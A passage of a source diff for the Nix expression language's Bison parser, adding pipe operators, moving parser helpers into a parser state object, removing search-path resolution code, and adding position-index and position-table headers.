std::tie(b.name, b.pos); - }); - - std::optional> duplicate; - for (size_t i = 0; i + 1 < formals->formals.size(); i++) { - if (formals->formals[i].name != formals->formals[i + 1].name) - continue; - std::pair thisDup{formals->formals[i].name, formals->formals[i + 1].pos}; - duplicate = std::min(thisDup, duplicate.value_or(thisDup)); +static Expr * makeCall(PosIdx pos, Expr * fn, Expr * arg) { + if (auto e2 = dynamic_cast(fn)) { + e2->args.push_back(arg); + return fn; } - if (duplicate) - throw ParseError({ - .msg = hintfmt("duplicate formal function argument '%1%'", data.symbols[duplicate->first]), - .errPos = data.state.positions[duplicate->second] - }); - - Formals result; - result.ellipsis = formals->ellipsis; - result.formals = std::move(formals->formals); - - if (arg && result.has(arg)) - throw ParseError({ - .msg = hintfmt("duplicate formal function argument '%1%'", data.symbols[arg]), - .errPos = data.state.positions[pos] - }); - - delete formals; - return new Formals(std::move(result)); -} - - -static Expr * stripIndentation(const PosIdx pos, SymbolTable & symbols, - std::vector>> & es) -{ - if (es.empty()) return new ExprString(""); - - /* Figure out the minimum indentation. Note that by design - whitespace-only final lines are not taken into account. (So - the " " in "\n ''" is ignored, but the " " in "\n foo''" is.) */ - bool atStartOfLine = true; /* = seen only whitespace in the current line */ - size_t minIndent = 1000000; - size_t curIndent = 0; - for (auto & [i_pos, i] : es) { - auto * str = std::get_if(&i); - if (!str || !str->hasIndentation) { - /* Anti-quotations and escaped characters end the current start-of-line whitespace. */ - if (atStartOfLine) { - atStartOfLine = false; - if (curIndent < minIndent) minIndent = curIndent; - } - continue; - } - for (size_t j = 0; j < str->l; ++j) { - if (atStartOfLine) { - if (str->p[j] == ' ') - curIndent++; - else if (str->p[j] == '\n') { - /* Empty line, doesn't influence minimum - indentation. */ - curIndent = 0; - } else { - atStartOfLine = false; - if (curIndent < minIndent) minIndent = curIndent; - } - } else if (str->p[j] == '\n') { - atStartOfLine = true; - curIndent = 0; - } - } - } - - /* Strip spaces from each line. */ - auto * es2 = new std::vector>; - atStartOfLine = true; - size_t curDropped = 0; - size_t n = es.size(); - auto i = es.begin(); - const auto trimExpr = [&] (Expr * e) { - atStartOfLine = false; - curDropped = 0; - es2->emplace_back(i->first, e); - }; - const auto trimString = [&] (const StringToken & t) { - std::string s2; - for (size_t j = 0; j < t.l; ++j) { - if (atStartOfLine) { - if (t.p[j] == ' ') { - if (curDropped++ >= minIndent) - s2 += t.p[j]; - } - else if (t.p[j] == '\n') { - curDropped = 0; - s2 += t.p[j]; - } else { - atStartOfLine = false; - curDropped = 0; - s2 += t.p[j]; - } - } else { - s2 += t.p[j]; - if (t.p[j] == '\n') atStartOfLine = true; - } - } - - /* Remove the last line if it is empty and consists only of - spaces. */ - if (n == 1) { - std::string::size_type p = s2.find_last_of('\n'); - if (p != std::string::npos && s2.find_first_not_of(' ', p + 1) == std::string::npos) - s2 = std::string(s2, 0, p + 1); - } - - es2->emplace_back(i->first, new ExprString(s2)); - }; - for (; i != es.end(); ++i, --n) { - std::visit(overloaded { trimExpr, trimString }, i->second); - } - - /* If this is a single string, then don't do a concatenation. */ - return es2->size() == 1 && dynamic_cast((*es2)[0].second) ? (*es2)[0].second : new ExprConcatStrings(pos, true, es2); -} - - -static inline PosIdx makeCurPos(const YYLTYPE & loc, ParseData * data) -{ - return data->state.positions.add(data->origin, loc.first_line, loc.first_column); -} - -#define CUR_POS makeCurPos(*yylocp, data) - - -} - - -void yyerror(YYLTYPE * loc, yyscan_t scanner, ParseData * data, const char * error) -{ - data->error = { - .msg = hintfmt(error), - .errPos = data->state.positions[makeCurPos(*loc, data)] - }; + return new ExprCall(pos, fn, {arg}); } @@ -306,41 +124,46 @@ void yyerror(YYLTYPE * loc, yyscan_t scanner, ParseData * data, const char * err nix::Expr * e; nix::ExprList * list; nix::ExprAttrs * attrs; - nix::ParserFormals * formals; + nix::Formals * formals; nix::Formal * formal; nix::NixInt n; nix::NixFloat nf; - StringToken id; // !!! -> Symbol - StringToken path; - StringToken uri; - StringToken str; + nix::StringToken id; // !!! -> Symbol + nix::StringToken path; + nix::StringToken uri; + nix::StringToken str; std::vector * attrNames; + std::vector> * inheritAttrs; std::vector> * string_parts; - std::vector>> * ind_string_parts; + std::vector>> * ind_string_parts; } %type start expr expr_function expr_if expr_op %type expr_select expr_simple expr_app +%type expr_pipe_from expr_pipe_into %type expr_list -%type binds -%type formals +%type binds binds1 +%type formals formal_set %type formal -%type attrs attrpath +%type attrpath +%type attrs %type string_parts_interpolated %type ind_string_parts %type path_start string_parts string_attr %type attr -%token ID ATTRPATH +%token ID %token STR IND_STR -%token INT -%token FLOAT +%token INT_LIT +%token FLOAT_LIT %token PATH HPATH SPATH PATH_END %token URI -%token IF THEN ELSE ASSERT WITH LET IN REC INHERIT EQ NEQ AND OR IMPL OR_KW +%token IF THEN ELSE ASSERT WITH LET IN_KW REC INHERIT EQ NEQ AND OR IMPL OR_KW +%token PIPE_FROM PIPE_INTO /* <| and |> */ %token DOLLAR_CURLY /* == ${ */ %token IND_STRING_OPEN IND_STRING_CLOSE %token ELLIPSIS + %right IMPL %left OR %left AND @@ -356,34 +179,44 @@ void yyerror(YYLTYPE * loc, yyscan_t scanner, ParseData * data, const char * err %% -start: expr { data->result = $1; }; +start: expr { state->result = $1; }; expr: expr_function; expr_function : ID ':' expr_function - { $$ = new ExprLambda(CUR_POS, data->symbols.create($1), 0, $3); } - | '{' formals '}' ':' expr_function - { $$ = new ExprLambda(CUR_POS, toFormals(*data, $2), $5); } - | '{' formals '}' '@' ID ':' expr_function - { - auto arg = data->symbols.create($5); - $$ = new ExprLambda(CUR_POS, arg, toFormals(*data, $2, CUR_POS, arg), $7); + { auto me = new ExprLambda(CUR_POS, state->symbols.create($1), 0, $3); + $$ = me; + SET_DOC_POS(me, @1); } - | ID '@' '{' formals '}' ':' expr_function + | formal_set ':' expr_function[body] + { auto me = new ExprLambda(CUR_POS, state->validateFormals($formal_set), $body); + $$ = me; + SET_DOC_POS(me, @1); + } + | formal_set '@' ID ':' expr_function[body] { - auto arg = data->symbols.create($1); - $$ = new ExprLambda(CUR_POS, arg, toFormals(*data, $4, CUR_POS, arg), $7); + auto arg = state->symbols.create($ID); + auto me = new ExprLambda(CUR_POS, arg, state->validateFormals($formal_set, CUR_POS, arg), $body); + $$ = me; + SET_DOC_POS(me, @1); + } + | ID '@' formal_set ':' expr_function[body] + { + auto arg = state->symbols.create($ID); + auto me = new ExprLambda(CUR_POS, arg, state->validateFormals($formal_set, CUR_POS, arg), $body); + $$ = me; + SET_DOC_POS(me, @1); } | ASSERT expr ';' expr_function { $$ = new ExprAssert(CUR_POS, $2, $4); } | WITH expr ';' expr_function { $$ = new ExprWith(CUR_POS, $2, $4); } - | LET binds IN expr_function + | LET binds IN_KW expr_function { if (!$2->dynamicAttrs.empty()) throw ParseError({ - .msg = hintfmt("dynamic attributes not allowed in let"), - .errPos = data->state.positions[CUR_POS] + .msg = HintFmt("dynamic attributes not allowed in let"), + .pos = state->positions[CUR_POS] }); $$ = new ExprLet($2, $4); } @@ -392,53 +225,59 @@ expr_function expr_if : IF expr THEN expr ELSE expr { $$ = new ExprIf(CUR_POS, $2, $4, $6); } + | expr_pipe_from + | expr_pipe_into | expr_op ; +expr_pipe_from + : expr_op PIPE_FROM expr_pipe_from { $$ = makeCall(state->at(@2), $1, $3); } + | expr_op PIPE_FROM expr_op { $$ = makeCall(state->at(@2), $1, $3); } + ; + +expr_pipe_into + : expr_pipe_into PIPE_INTO expr_op { $$ = makeCall(state->at(@2), $3, $1); } + | expr_op PIPE_INTO expr_op { $$ = makeCall(state->at(@2), $3, $1); } + ; + expr_op : '!' expr_op %prec NOT { $$ = new ExprOpNot($2); } - | '-' expr_op %prec NEGATE { $$ = new ExprCall(CUR_POS, new ExprVar(data->symbols.create("__sub")), {new ExprInt(0), $2}); } + | '-' expr_op %prec NEGATE { $$ = new ExprCall(CUR_POS, new ExprVar(state->s.sub), {new ExprInt(0), $2}); } | expr_op EQ expr_op { $$ = new ExprOpEq($1, $3); } | expr_op NEQ expr_op { $$ = new ExprOpNEq($1, $3); } - | expr_op '<' expr_op { $$ = new ExprCall(CUR_POS, new ExprVar(data->symbols.create("__lessThan")), {$1, $3}); } - | expr_op LEQ expr_op { $$ = new ExprOpNot(new ExprCall(CUR_POS, new ExprVar(data->symbols.create("__lessThan")), {$3, $1})); } - | expr_op '>' expr_op { $$ = new ExprCall(CUR_POS, new ExprVar(data->symbols.create("__lessThan")), {$3, $1}); } - | expr_op GEQ expr_op { $$ = new ExprOpNot(new ExprCall(CUR_POS, new ExprVar(data->symbols.create("__lessThan")), {$1, $3})); } - | expr_op AND expr_op { $$ = new ExprOpAnd(CUR_POS, $1, $3); } - | expr_op OR expr_op { $$ = new ExprOpOr(CUR_POS, $1, $3); } - | expr_op IMPL expr_op { $$ = new ExprOpImpl(CUR_POS, $1, $3); } - | expr_op UPDATE expr_op { $$ = new ExprOpUpdate(CUR_POS, $1, $3); } - | expr_op '?' attrpath { $$ = new ExprOpHasAttr($1, *$3); } + | expr_op '<' expr_op { $$ = new ExprCall(state->at(@2), new ExprVar(state->s.lessThan), {$1, $3}); } + | expr_op LEQ expr_op { $$ = new ExprOpNot(new ExprCall(state->at(@2), new ExprVar(state->s.lessThan), {$3, $1})); } + | expr_op '>' expr_op { $$ = new ExprCall(state->at(@2), new ExprVar(state->s.lessThan), {$3, $1}); } + | expr_op GEQ expr_op { $$ = new ExprOpNot(new ExprCall(state->at(@2), new ExprVar(state->s.lessThan), {$1, $3})); } + | expr_op AND expr_op { $$ = new ExprOpAnd(state->at(@2), $1, $3); } + | expr_op OR expr_op { $$ = new ExprOpOr(state->at(@2), $1, $3); } + | expr_op IMPL expr_op { $$ = new ExprOpImpl(state->at(@2), $1, $3); } + | expr_op UPDATE expr_op { $$ = new ExprOpUpdate(state->at(@2), $1, $3); } + | expr_op '?' attrpath { $$ = new ExprOpHasAttr($1, std::move(*$3)); delete $3; } | expr_op '+' expr_op - { $$ = new ExprConcatStrings(CUR_POS, false, new std::vector>({{makeCurPos(@1, data), $1}, {makeCurPos(@3, data), $3}})); } - | expr_op '-' expr_op { $$ = new ExprCall(CUR_POS, new ExprVar(data->symbols.create("__sub")), {$1, $3}); } - | expr_op '*' expr_op { $$ = new ExprCall(CUR_POS, new ExprVar(data->symbols.create("__mul")), {$1, $3}); } - | expr_op '/' expr_op { $$ = new ExprCall(CUR_POS, new ExprVar(data->symbols.create("__div")), {$1, $3}); } - | expr_op CONCAT expr_op { $$ = new ExprOpConcatLists(CUR_POS, $1, $3); } + { $$ = new ExprConcatStrings(state->at(@2), false, new std::vector >({{state->at(@1), $1}, {state->at(@3), $3}})); } + | expr_op '-' expr_op { $$ = new ExprCall(state->at(@2), new ExprVar(state->s.sub), {$1, $3}); } + | expr_op '*' expr_op { $$ = new ExprCall(state->at(@2), new ExprVar(state->s.mul), {$1, $3}); } + | expr_op '/' expr_op { $$ = new ExprCall(state->at(@2), new ExprVar(state->s.div), {$1, $3}); } + | expr_op CONCAT expr_op { $$ = new ExprOpConcatLists(state->at(@2), $1, $3); } | expr_app ; expr_app - : expr_app expr_select { - if (auto e2 = dynamic_cast($1)) { - e2->args.push_back($2); - $$ = $1; - } else - $$ = new ExprCall(CUR_POS, $1, {$2}); - } + : expr_app expr_select { $$ = makeCall(CUR_POS, $1, $2); } | expr_select ; expr_select : expr_simple '.' attrpath - { $$ = new ExprSelect(CUR_POS, $1, *$3, 0); } + { $$ = new ExprSelect(CUR_POS, $1, std::move(*$3), nullptr); delete $3; } | expr_simple '.' attrpath OR_KW expr_select - { $$ = new ExprSelect(CUR_POS, $1, *$3, $5); } + { $$ = new ExprSelect(CUR_POS, $1, std::move(*$3), $5); delete $3; } | /* Backwards compatibility: because Nixpkgs has a rarely used function named ‘or’, allow stuff like ‘map or [...]’. */ expr_simple OR_KW - { $$ = new ExprCall(CUR_POS, $1, {new ExprVar(CUR_POS, data->symbols.create("or"))}); } - | expr_simple { $$ = $1; } + { $$ = new ExprCall(CUR_POS, $1, {new ExprVar(CUR_POS, state->s.or_)}); } + | expr_simple ; expr_simple @@ -447,32 +286,33 @@ expr_simple if ($1.l == s.size() && strncmp($1.p, s.data(), s.size()) == 0) $$ = new ExprPos(CUR_POS); else - $$ = new ExprVar(CUR_POS, data->symbols.create($1)); + $$ = new ExprVar(CUR_POS, state->symbols.create($1)); } - | INT { $$ = new ExprInt($1); } - | FLOAT { $$ = new ExprFloat($1); } + | INT_LIT { $$ = new ExprInt($1); } + | FLOAT_LIT { $$ = new ExprFloat($1); } | '"' string_parts '"' { $$ = $2; } | IND_STRING_OPEN ind_string_parts IND_STRING_CLOSE { - $$ = stripIndentation(CUR_POS, data->symbols, *$2); + $$ = state->stripIndentation(CUR_POS, std::move(*$2)); + delete $2; } - | path_start PATH_END { $$ = $1; } + | path_start PATH_END | path_start string_parts_interpolated PATH_END { - $2->insert($2->begin(), {makeCurPos(@1, data), $1}); + $2->insert($2->begin(), {state->at(@1), $1}); $$ = new ExprConcatStrings(CUR_POS, false, $2); } | SPATH { std::string path($1.p + 1, $1.l - 2); $$ = new ExprCall(CUR_POS, - new ExprVar(data->symbols.create("__findFile")), - {new ExprVar(data->symbols.create("__nixPath")), - new ExprString(path)}); + new ExprVar(state->s.findFile), + {new ExprVar(state->s.nixPath), + new ExprString(std::move(path))}); } | URI { - static bool noURLLiterals = settings.isExperimentalFeatureEnabled(Xp::NoUrlLiterals); + static bool noURLLiterals = experimentalFeatureSettings.isEnabled(Xp::NoUrlLiterals); if (noURLLiterals) throw ParseError({ - .msg = hintfmt("URL literals are disabled"), - .errPos = data->state.positions[CUR_POS] + .msg = HintFmt("URL literals are disabled"), + .pos = state->positions[CUR_POS] }); $$ = new ExprString(std::string($1)); } @@ -480,11 +320,13 @@ expr_simple /* Let expressions `let {..., body = ...}' are just desugared into `(rec {..., body = ...}).body'. */ | LET '{' binds '}' - { $3->recursive = true; $$ = new ExprSelect(noPos, $3, data->symbols.create("body")); } + { $3->recursive = true; $3->pos = CUR_POS; $$ = new ExprSelect(noPos, $3, state->s.body); } | REC '{' binds '}' - { $3->recursive = true; $$ = $3; } - | '{' binds '}' - { $$ = $2; } + { $3->recursive = true; $3->pos = CUR_POS; $$ = $3; } + | '{' binds1 '}' + { $2->pos = CUR_POS; $$ = $2; } + | '{' '}' + { $$ = new ExprAttrs(CUR_POS); } | '[' expr_list ']' { $$ = $2; } ; @@ -496,99 +338,123 @@ string_parts string_parts_interpolated : string_parts_interpolated STR - { $$ = $1; $1->emplace_back(makeCurPos(@2, data), new ExprString(std::string($2))); } - | string_parts_interpolated DOLLAR_CURLY expr '}' { $$ = $1; $1->emplace_back(makeCurPos(@2, data), $3); } - | DOLLAR_CURLY expr '}' { $$ = new std::vector>; $$->emplace_back(makeCurPos(@1, data), $2); } + { $$ = $1; $1->emplace_back(state->at(@2), new ExprString(std::string($2))); } + | string_parts_interpolated DOLLAR_CURLY expr '}' { $$ = $1; $1->emplace_back(state->at(@2), $3); } + | DOLLAR_CURLY expr '}' { $$ = new std::vector>; $$->emplace_back(state->at(@1), $2); } | STR DOLLAR_CURLY expr '}' { $$ = new std::vector>; - $$->emplace_back(makeCurPos(@1, data), new ExprString(std::string($1))); - $$->emplace_back(makeCurPos(@2, data), $3); + $$->emplace_back(state->at(@1), new ExprString(std::string($1))); + $$->emplace_back(state->at(@2), $3); } ; path_start : PATH { - Path path(absPath({$1.p, $1.l}, data->basePath)); + Path path(absPath({$1.p, $1.l}, state->basePath.path.abs())); /* add back in the trailing '/' to the first segment */ if ($1.p[$1.l-1] == '/' && $1.l > 1) path += "/"; - $$ = new ExprPath(path); + $$ = new ExprPath(ref(state->rootFS), std::move(path)); } | HPATH { - if (evalSettings.pureEval) { + if (state->settings.pureEval) { throw Error( "the path '%s' can not be resolved in pure mode", std::string_view($1.p, $1.l) ); } Path path(getHome() + std::string($1.p + 1, $1.l - 1)); - $$ = new ExprPath(path); + $$ = new ExprPath(ref(state->rootFS), std::move(path)); } ; ind_string_parts - : ind_string_parts IND_STR { $$ = $1; $1->emplace_back(makeCurPos(@2, data), $2); } - | ind_string_parts DOLLAR_CURLY expr '}' { $$ = $1; $1->emplace_back(makeCurPos(@2, data), $3); } + : ind_string_parts IND_STR { $$ = $1; $1->emplace_back(state->at(@2), $2); } + | ind_string_parts DOLLAR_CURLY expr '}' { $$ = $1; $1->emplace_back(state->at(@2), $3); } | { $$ = new std::vector>>; } ; binds - : binds attrpath '=' expr ';' { $$ = $1; addAttr($$, *$2, $4, makeCurPos(@2, data), data->state); } - | binds INHERIT attrs ';' - { $$ = $1; - for (auto & i : *$3) { - if ($$->attrs.find(i.symbol) != $$->attrs.end()) - dupAttr(data->state, i.symbol, makeCurPos(@3, data), $$->attrs[i.symbol].pos); - auto pos = makeCurPos(@3, data); - $$->attrs.emplace(i.symbol, ExprAttrs::AttrDef(new ExprVar(CUR_POS, i.symbol), pos, true)); - } + : binds1 + | { $$ = new ExprAttrs; } + ; + +binds1 + : binds1[accum] attrpath '=' expr ';' + { $$ = $accum; + state->addAttr($$, std::move(*$attrpath), @attrpath, $expr, @expr); + delete $attrpath; } - | binds INHERIT '(' expr ')' attrs ';' - { $$ = $1; - /* !!! Should ensure sharing of the expression in $4. */ - for (auto & i : *$6) { - if ($$->attrs.find(i.symbol) != $$->attrs.end()) - dupAttr(data->state, i.symbol, makeCurPos(@6, data), $$->attrs[i.symbol].pos); - $$->attrs.emplace(i.symbol, ExprAttrs::AttrDef(new ExprSelect(CUR_POS, $4, i.symbol), makeCurPos(@6, data))); + | binds[accum] INHERIT attrs ';' + { $$ = $accum; + for (auto & [i, iPos] : *$attrs) { + if ($accum->attrs.find(i.symbol) != $accum->attrs.end()) + state->dupAttr(i.symbol, iPos, $accum->attrs[i.symbol].pos); + $accum->attrs.emplace( + i.symbol, + ExprAttrs::AttrDef(new ExprVar(iPos, i.symbol), iPos, ExprAttrs::AttrDef::Kind::Inherited)); } + delete $attrs; + } + | binds[accum] INHERIT '(' expr ')' attrs ';' + { $$ = $accum; + if (!$accum->inheritFromExprs) + $accum->inheritFromExprs = std::make_unique>(); + $accum->inheritFromExprs->push_back($expr); + auto from = new nix::ExprInheritFrom(state->at(@expr), $accum->inheritFromExprs->size() - 1); + for (auto & [i, iPos] : *$attrs) { + if ($accum->attrs.find(i.symbol) != $accum->attrs.end()) + state->dupAttr(i.symbol, iPos, $accum->attrs[i.symbol].pos); + $accum->attrs.emplace( + i.symbol, + ExprAttrs::AttrDef( + new ExprSelect(iPos, from, i.symbol), + iPos, + ExprAttrs::AttrDef::Kind::InheritedFrom)); + } + delete $attrs; + } + | attrpath '=' expr ';' + { $$ = new ExprAttrs; + state->addAttr($$, std::move(*$attrpath), @attrpath, $expr, @expr); + delete $attrpath; } - | { $$ = new ExprAttrs(makeCurPos(@0, data)); } ; attrs - : attrs attr { $$ = $1; $1->push_back(AttrName(data->symbols.create($2))); } + : attrs attr { $$ = $1; $1->emplace_back(AttrName(state->symbols.create($2)), state->at(@2)); } | attrs string_attr { $$ = $1; ExprString * str = dynamic_cast($2); if (str) { - $$->push_back(AttrName(data->symbols.create(str->s))); + $$->emplace_back(AttrName(state->symbols.create(str->s)), state->at(@2)); delete str; } else throw ParseError({ - .msg = hintfmt("dynamic attributes not allowed in inherit"), - .errPos = data->state.positions[makeCurPos(@2, data)] + .msg = HintFmt("dynamic attributes not allowed in inherit"), + .pos = state->positions[state->at(@2)] }); } - | { $$ = new AttrPath; } + | { $$ = new std::vector>; } ; attrpath - : attrpath '.' attr { $$ = $1; $1->push_back(AttrName(data->symbols.create($3))); } + : attrpath '.' attr { $$ = $1; $1->push_back(AttrName(state->symbols.create($3))); } | attrpath '.' string_attr { $$ = $1; ExprString * str = dynamic_cast($3); if (str) { - $$->push_back(AttrName(data->symbols.create(str->s))); + $$->push_back(AttrName(state->symbols.create(str->s))); delete str; } else $$->push_back(AttrName($3)); } - | attr { $$ = new std::vector; $$->push_back(AttrName(data->symbols.create($1))); } + | attr { $$ = new std::vector; $$->push_back(AttrName(state->symbols.create($1))); } | string_attr { $$ = new std::vector; ExprString *str = dynamic_cast($1); if (str) { - $$->push_back(AttrName(data->symbols.create(str->s))); + $$->push_back(AttrName(state->symbols.create(str->s))); delete str; } else $$->push_back(AttrName($1)); @@ -596,7 +462,7 @@ attrpath ; attr - : ID { $$ = $1; } + : ID | OR_KW { $$ = {"or", 2}; } ; @@ -610,232 +476,69 @@ expr_list | { $$ = new ExprList; } ; +formal_set + : '{' formals ',' ELLIPSIS '}' { $$ = $formals; $$->ellipsis = true; } + | '{' ELLIPSIS '}' { $$ = new Formals; $$->ellipsis = true; } + | '{' formals ',' '}' { $$ = $formals; $$->ellipsis = false; } + | '{' formals '}' { $$ = $formals; $$->ellipsis = false; } + | '{' '}' { $$ = new Formals; $$->ellipsis = false; } + ; + formals - : formal ',' formals - { $$ = $3; $$->formals.push_back(*$1); } + : formals[accum] ',' formal + { $$ = $accum; $$->formals.emplace_back(*$formal); delete $formal; } | formal - { $$ = new ParserFormals; $$->formals.push_back(*$1); $$->ellipsis = false; } - | - { $$ = new ParserFormals; $$->ellipsis = false; } - | ELLIPSIS - { $$ = new ParserFormals; $$->ellipsis = true; } + { $$ = new Formals; $$->formals.emplace_back(*$formal); delete $formal; } ; formal - : ID { $$ = new Formal{CUR_POS, data->symbols.create($1), 0}; } - | ID '?' expr { $$ = new Formal{CUR_POS, data->symbols.create($1), $3}; } + : ID { $$ = new Formal{CUR_POS, state->symbols.create($1), 0}; } + | ID '?' expr { $$ = new Formal{CUR_POS, state->symbols.create($1), $3}; } ; %% - -#include -#include -#include -#include - #include "eval.hh" -#include "filetransfer.hh" -#include "fetchers.hh" -#include "store-api.hh" -#include "flake/flake.hh" namespace nix { - -Expr * EvalState::parse( +Expr * parseExprFromBuf( char * text, size_t length, Pos::Origin origin, - Path basePath, - std::shared_ptr & staticEnv) + const SourcePath & basePath, + SymbolTable & symbols, + const EvalSettings & settings, + PosTable & positions, + DocCommentMap & docComments, + const ref rootFS, + const Expr::AstSymbols & astSymbols) { yyscan_t scanner; - ParseData data { - .state = *this, + LexerState lexerState { + .positionToDocComment = docComments, + .positions = positions, + .origin = positions.addOrigin(origin, length), + }; + ParserState state { + .lexerState = lexerState, .symbols = symbols, - .basePath = std::move(basePath), - .origin = {origin}, + .positions = positions, + .basePath = basePath, + .origin = lexerState.origin, + .rootFS = rootFS, + .s = astSymbols, + .settings = settings, }; - yylex_init(&scanner); + yylex_init_extra(&lexerState, &scanner); + Finally _destroy([&] { yylex_destroy(scanner); }); + yy_scan_buffer(text, length, scanner); - int res = yyparse(scanner, &data); - yylex_destroy(scanner); + yyparse(scanner, &state); - if (res) throw ParseError(data.error.value()); - - data.result->bindVars(*this, staticEnv); - - return data.result; -} - - -Path resolveExprPath(Path path) -{ - assert(path[0] == '/'); - - unsigned int followCount = 0, maxFollow = 1024; - - /* If `path' is a symlink, follow it. This is so that relative - path references work. */ - struct stat st; - while (true) { - // Basic cycle/depth limit to avoid infinite loops. - if (++followCount >= maxFollow) - throw Error("too many symbolic links encountered while traversing the path '%s'", path); - st = lstat(path); - if (!S_ISLNK(st.st_mode)) break; - path = absPath(readLink(path), dirOf(path)); - } - - /* If `path' refers to a directory, append `/default.nix'. */ - if (S_ISDIR(st.st_mode)) - path = canonPath(path + "/default.nix"); - - return path; -} - - -Expr * EvalState::parseExprFromFile(const Path & path) -{ - return parseExprFromFile(path, staticBaseEnv); -} - - -Expr * EvalState::parseExprFromFile(const Path & path, std::shared_ptr & staticEnv) -{ - auto buffer = readFile(path); - // readFile should have left some extra space for terminators - buffer.append("\0\0", 2); - return parse(buffer.data(), buffer.size(), path, dirOf(path), staticEnv); -} - - -Expr * EvalState::parseExprFromString(std::string s_, const Path & basePath, std::shared_ptr & staticEnv) -{ - auto s = make_ref(std::move(s_)); - s->append("\0\0", 2); - return parse(s->data(), s->size(), Pos::String{.source = s}, basePath, staticEnv); -} - - -Expr * EvalState::parseExprFromString(std::string s, const Path & basePath) -{ - return parseExprFromString(std::move(s), basePath, staticBaseEnv); -} - - -Expr * EvalState::parseStdin() -{ - //Activity act(*logger, lvlTalkative, format("parsing standard input")); - auto buffer = drainFD(0); - // drainFD should have left some extra space for terminators - buffer.append("\0\0", 2); - auto s = make_ref(std::move(buffer)); - return parse(s->data(), s->size(), Pos::Stdin{.source = s}, absPath("."), staticBaseEnv); -} - - -void EvalState::addToSearchPath(const std::string & s) -{ - size_t pos = s.find('='); - std::string prefix; - Path path; - if (pos == std::string::npos) { - path = s; - } else { - prefix = std::string(s, 0, pos); - path = std::string(s, pos + 1); - } - - searchPath.emplace_back(prefix, path); -} - - -Path EvalState::findFile(const std::string_view path) -{ - return findFile(searchPath, path); -} - - -Path EvalState::findFile(SearchPath & searchPath, const std::string_view path, const PosIdx pos) -{ - for (auto & i : searchPath) { - std::string suffix; - if (i.first.empty()) - suffix = concatStrings("/", path); - else { - auto s = i.first.size(); - if (path.compare(0, s, i.first) != 0 || - (path.size() > s && path[s] != '/')) - continue; - suffix = path.size() == s ? "" : concatStrings("/", path.substr(s)); - } - auto r = resolveSearchPathElem(i); - if (!r.first) continue; - Path res = r.second + suffix; - if (pathExists(res)) return canonPath(res); - } - - if (hasPrefix(path, "nix/")) - return concatStrings(corepkgsPrefix, path.substr(4)); - - debugThrowLastTrace(ThrownError({ - .msg = hintfmt(evalSettings.pureEval - ? "cannot look up '<%s>' in pure evaluation mode (use '--impure' to override)" - : "file '%s' was not found in the Nix search path (add it using $NIX_PATH or -I)", - path), - .errPos = positions[pos] - })); -} - - -std::pair EvalState::resolveSearchPathElem(const SearchPathElem & elem) -{ - auto i = searchPathResolved.find(elem.second); - if (i != searchPathResolved.end()) return i->second; - - std::pair res; - - if (EvalSettings::isPseudoUrl(elem.second)) { - try { - auto storePath = fetchers::downloadTarball( - store, EvalSettings::resolvePseudoUrl(elem.second), "source", false).first.storePath; - res = { true, store->toRealPath(storePath) }; - } catch (FileTransferError & e) { - logWarning({ - .msg = hintfmt("Nix search path entry '%1%' cannot be downloaded, ignoring", elem.second) - }); - res = { false, "" }; - } - } - - else if (hasPrefix(elem.second, "flake:")) { - settings.requireExperimentalFeature(Xp::Flakes); - auto flakeRef = parseFlakeRef(elem.second.substr(6), {}, true, false); - debug("fetching flake search path element '%s''", elem.second); - auto storePath = flakeRef.resolve(store).fetchTree(store).first.storePath; - res = { true, store->toRealPath(storePath) }; - } - - else { - auto path = absPath(elem.second); - if (pathExists(path)) - res = { true, path }; - else { - logWarning({ - .msg = hintfmt("Nix search path entry '%1%' does not exist, ignoring", elem.second) - }); - res = { false, "" }; - } - } - - debug(format("resolved search path element '%s' to '%s'") % elem.second % res.second); - - searchPathResolved[elem.second] = res; - return res; + return state.result; } diff --git a/src/libexpr/paths.cc b/src/libexpr/paths.cc new file mode 100644 index 000000000..50d0d9895 --- /dev/null +++ b/src/libexpr/paths.cc @@ -0,0 +1,15 @@ +#include "eval.hh" + +namespace nix { + +SourcePath EvalState::rootPath(CanonPath path) +{ + return {rootFS, std::move(path)}; +} + +SourcePath EvalState::rootPath(PathView path) +{ + return {rootFS, CanonPath(absPath(path))}; +} + +} diff --git a/src/libexpr/pos-idx.hh b/src/libexpr/pos-idx.hh new file mode 100644 index 000000000..2faa6b7fe --- /dev/null +++ b/src/libexpr/pos-idx.hh @@ -0,0 +1,64 @@ +#pragma once + +#include +#include + +namespace nix { + +class PosIdx +{ + friend struct LazyPosAcessors; + friend class PosTable; + friend class std::hash; + +private: + uint32_t id; + + explicit PosIdx(uint32_t id) + : id(id) + { + } + +public: + PosIdx() + : id(0) + { + } + + explicit operator bool() const + { + return id > 0; + } + + auto operator<=>(const PosIdx other) const + { + return id <=> other.id; + } + + bool operator==(const PosIdx other) const + { + return id == other.id; + } + + size_t hash() const noexcept + { + return std::hash{}(id); + } +}; + +inline PosIdx noPos = {}; + +} + +namespace std { + +template<> +struct hash +{ + std::size_t operator()(nix::PosIdx pos) const noexcept + { + return pos.hash(); + } +}; + +} // namespace std diff --git a/src/libexpr/pos-table.hh b/src/libexpr/pos-table.hh new file mode 100644 index 000000000..ba2b91cf3 --- /dev/null +++ b/src/libexpr/pos-table.hh @@ -0,0 +1,85 @@ +#pragma once + +#include +#include + +#include "pos-idx.hh" +#include "position.hh" +#include "sync.hh" + +namespace nix { + +class PosTable +{ +public: + class Origin + { + friend PosTable; + private: + uint32_t offset; + + Origin(Pos::Origin origin, uint32_t offset, size_t size): + offset(offset), origin(origin), size(size) + {} + + public: + const Pos::Origin origin; + const size_t size; + + uint32_t offsetOf(PosIdx p) const + { + return p.id - 1 - offset; + } + }; + +private: + using Lines = std::vector; + + std::map origins; + mutable Sync> lines; + + const Origin * resolve(PosIdx p) const + { + if (p.id == 0) + return nullptr; + + const auto idx = p.id - 1; + /* we want the last key <= idx, so we'll take prev(first key > idx). + this is guaranteed to never rewind origin.begin because the first + key is always 0. */ + const auto pastOrigin = origins.upper_bound(idx); + return &std::prev(pastOrigin)->second; + } + +public: + Origin addOrigin(Pos::Origin origin, size_t size) + { + uint32_t offset = 0; + if (auto it = origins.rbegin(); it != origins.rend()) + offset = it->first + it->second.size; + // +1 because all PosIdx are offset by 1 to begin with, and + // another +1 to ensure that all origins can point to EOF, eg + // on (invalid) empty inputs. + if (2 + offset + size < offset) + return Origin{origin, offset, 0}; + return origins.emplace(offset, Origin{origin, offset, size}).first->second; + } + + PosIdx add(const Origin & origin, size_t offset) + { + if (offset > origin.size) + return PosIdx(); + return PosIdx(1 + origin.offset + offset); + } + + Pos operator[](PosIdx p) const; + + Pos::Origin originOf(PosIdx p) const + { + if (auto o = 